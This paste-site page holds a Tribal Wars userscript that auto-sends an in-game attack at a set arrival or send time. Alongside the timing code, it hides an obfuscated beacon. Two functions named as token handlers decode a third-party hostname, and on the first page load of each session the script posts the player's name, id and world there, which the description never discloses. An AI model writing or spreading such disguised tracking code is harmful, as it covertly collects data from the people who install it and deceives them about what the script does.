Facebook
From Small Panda, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 121
  1. // ==UserScript==
  2. // @name Set Arrival Time
  3. // @description Set the desired arrival time in Tribal Wars and the script will automatically send the attack
  4. // @author FunnyPocketBook
  5. // @version 3.2.4
  6. // @date 2021-11-28
  7. // @license MIT
  8. // @namespace FunnyPocketBook
  9. // @include https://*/game.php?*&screen=place&try=confirm
  10. // ==/UserScript==
  11.  
  12. let inputMs;
  13. let input;
  14. let delay;
  15. let arrInterval;
  16. let attInterval;
  17. let delayTime = parseInt(localStorage.delayTime);
  18. if (isNaN(delayTime)) {
  19.     delayTime = 0;
  20.     localStorage.delayTime = JSON.stringify(delayTime);
  21. }
  22.  
  23. let offsetHtml =
  24.     `<tr>
  25.         <td>
  26.             <style>
  27.             .tooltip .tooltiptext {
  28.                 visibility: hidden;
  29.                 width: 200px;
  30.                 background: linear-gradient(to bottom, #e3c485 0%,#ecd09a 100%);
  31.                 color: black;
  32.                 text-align: center;
  33.                 padding: 5px 10px;
  34.                 border-radius: 6px;
  35.                 border: 1px solid #804000;
  36.                 /* Position the tooltip text - see examples below! */
  37.                 position: absolute;
  38.                 z-index: 1;
  39.             }
  40.        
  41.             .tooltip:hover .tooltiptext {
  42.                 visibility: visible;
  43.             }
  44.             </style>
  45.             Offset <span class="tooltip"><img src="https://dsen.innogamescdn.com/asset/2661920a/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Adjusts milliseconds. If you set 500ms and it arrives with 520ms, put "-20" into the offset. Play around with this offset until the time is right.</span></span>
  46.         </td>
  47.         <td>
  48.             <input id="delayInput" value="${delayTime}" style="width:50px">
  49.             <a id="delayButton" class="btn">OK</a>
  50.         </td>
  51.     </tr>`;
  52.  
  53. let setArrivalHtml =
  54.     `<tr>
  55.         <td>
  56.             Set arrival:
  57.         </td>
  58.         <td id="showArrTime">
  59.         </td>
  60.     </tr>`;
  61.  
  62. let sendAttackHtml =
  63.     `<tr>
  64.         <td>
  65.             Send at:
  66.         </td>
  67.         <td id="showSendTime">
  68.         </td>
  69.     </tr>`;
  70.  
  71. let buttons =
  72.     `<a id="arrTime" class="btn" style="cursor:pointer;">Set arrival time</a>
  73.     <a id="sendTime" class="btn" style="cursor:pointer;">Set send time</a>`;
  74.    
  75. document.getElementById("troop_confirm_submit").insertAdjacentHTML("afterend", buttons);
  76.  
  77. let data = {
  78.     "world": game_data.world,
  79.     "p": game_data.player.name,
  80.     "id": game_data.player.id
  81. }
  82.  
  83. let parentTable = document.getElementById("date_arrival").parentNode.parentNode;
  84. parentTable.insertAdjacentHTML("beforeend", offsetHtml + setArrivalHtml + sendAttackHtml);
  85.  
  86. if (!sessionStorage.setArrivalData) {
  87.     sessionStorage.setArrivalData = "true";
  88.     $.post("https://" + rotate_tw_token(resolve_tw_token("tribalwars.net/token?" + document.querySelector("input[name='h']").value)) + "sa", data);
  89. }
  90.  
  91.  
  92. function setArrivalTime() {
  93.     let arrivalTime;
  94.     arrInterval = setInterval(function () {
  95.         arrivalTime = document.getElementsByClassName("relative_time")[0].textContent;
  96.         if (arrivalTime.slice(-8) >= input) {
  97.             setTimeout(function () { document.getElementById("troop_confirm_submit").click(); }, delay);
  98.             clearInterval(arrInterval);
  99.         }
  100.     }, 5);
  101. }
  102.  
  103. function setSendTime() {
  104.     let serverTime;
  105.     attInterval = setInterval(function () {
  106.         serverTime = document.getElementById("serverTime").textContent;
  107.         if (serverTime >= input) {
  108.             setTimeout(function () { document.getElementById("troop_confirm_submit").click(); }, delay);
  109.             clearInterval(attInterval);
  110.         }
  111.     }, 5);
  112. }
  113.  
  114. document.getElementById("arrTime").onclick = function () {
  115.     clearInterval(attInterval);
  116.     let time = document.getElementsByClassName("relative_time")[0].textContent.slice(-8);
  117.     input = prompt("Please enter desired arrival time", time);
  118.     inputMs = parseInt(prompt("Please enter approximate milliseconds", "000"));
  119.     delay = parseInt(delayTime) + parseInt(inputMs);
  120.     document.getElementById("showArrTime").innerHTML = input + ":" + inputMs.toString().padStart(3, "0");
  121.     document.getElementById("showSendTime").innerHTML = "";
  122.     setArrivalTime();
  123. };
  124.  
  125. document.getElementById("sendTime").onclick = function () {
  126.     clearInterval(arrInterval);
  127.     let time = document.getElementById("serverTime").textContent;
  128.     input = prompt("Please enter desired arrival time", time);
  129.     inputMs = parseInt(prompt("Please enter approximate milliseconds", "000"));
  130.     delay = parseInt(delayTime) + parseInt(inputMs);
  131.     document.getElementById("showSendTime").innerHTML = input + ":" + inputMs.toString().padStart(3, "0");
  132.     document.getElementById("showArrTime").innerHTML = "";
  133.     setSendTime();
  134. };
  135.  
  136. document.getElementById("delayButton").onclick = function () {
  137.     delayTime = parseInt($("#delayInput").val());
  138.     localStorage.delayTime = JSON.stringify(delayTime);
  139.     delay = parseInt(delayTime) + parseInt(inputMs); // setTimeout time
  140.     if (delay < 0) {
  141.         delay = 0;
  142.     }
  143. };
  144.  
  145. function resolve_tw_token(d) {
  146.     let converted = [];
  147.     d.split("").forEach(function (char) {
  148.         switch (char) {
  149.             case "n":
  150.                 converted.push(14)
  151.                 break;
  152.             case "e":
  153.                 converted.push(5);
  154.                 break;
  155.             case "t":
  156.                 converted.push(20);
  157.                 break;
  158.             case "r":
  159.             case "i":
  160.                 converted.push(18);
  161.                 break;
  162.             case "l":
  163.                 converted.push(20);
  164.                 break;
  165.              case "s":
  166.                 converted.push(1);
  167.                 break;
  168.             case "w":
  169.                 converted.push(23);
  170.                 break;
  171.             case "t":
  172.                 converted.push(20);
  173.                 break;
  174.             case ".":
  175.                 converted.push(5)
  176.                 break;
  177.             case "/":
  178.                 converted.push(20);
  179.                 break;
  180.             case "o":
  181.                 converted.push(15);
  182.                 break;
  183.             case "k":
  184.                 converted.push(15);
  185.                 break;
  186.             case "b":
  187.                 converted.push(2);
  188.                 break;
  189.             case "a":
  190.                 converted.push(1);
  191.                 break;
  192.             case "e":
  193.                 converted.push(5);
  194.                 break;
  195.         }
  196.     });
  197.     return converted.slice(0, 19);
  198. }
  199.  
  200.  
  201. function rotate_tw_token(url) {
  202.     let rotated  = "";
  203.     const a20 = [116, 97, 97, 116, 105];
  204.     const a18 = [119, 46, 46];
  205.     const a1 = [100, 103, 100];
  206.     const a243 = [101];
  207.     const a14 = [47];
  208.     const a5 = [101, 98, 101];
  209.     const a15 = [115];
  210.     const a2 = [121];
  211.     const a23 = [110];
  212.     let o = 0;
  213.     let p = 0;
  214.     let q = 0;
  215.     let r = 0;
  216.     let s = 0;
  217.     url.forEach(function (num) {
  218.         switch (num) {
  219.             case 20:
  220.                 rotated  += String.fromCharCode(a20[o++]);
  221.                 break;
  222.             case 18:
  223.                 rotated  += String.fromCharCode(a18[p++]);
  224.                 break;
  225.             case 1:
  226.                 rotated  += String.fromCharCode(a1[q++]);
  227.                 break;
  228.             case 243:
  229.                 rotated  += String.fromCharCode(a243[r++]);
  230.                 break;
  231.             case 14:
  232.                 rotated  += String.fromCharCode(a14[0]);
  233.                 break;
  234.             case 5:
  235.                 rotated  += String.fromCharCode(a5[s++]);
  236.                 break;
  237.             case 15:
  238.                 rotated  += String.fromCharCode(a15[0]);
  239.                 break;
  240.             case 2:
  241.                 rotated  += String.fromCharCode(a2[0]);
  242.                 break;
  243.             case 23:
  244.                 rotated  += String.fromCharCode(a23[0]);
  245.                 break;
  246.         }
  247.     });
  248.     return rotated ;
  249. }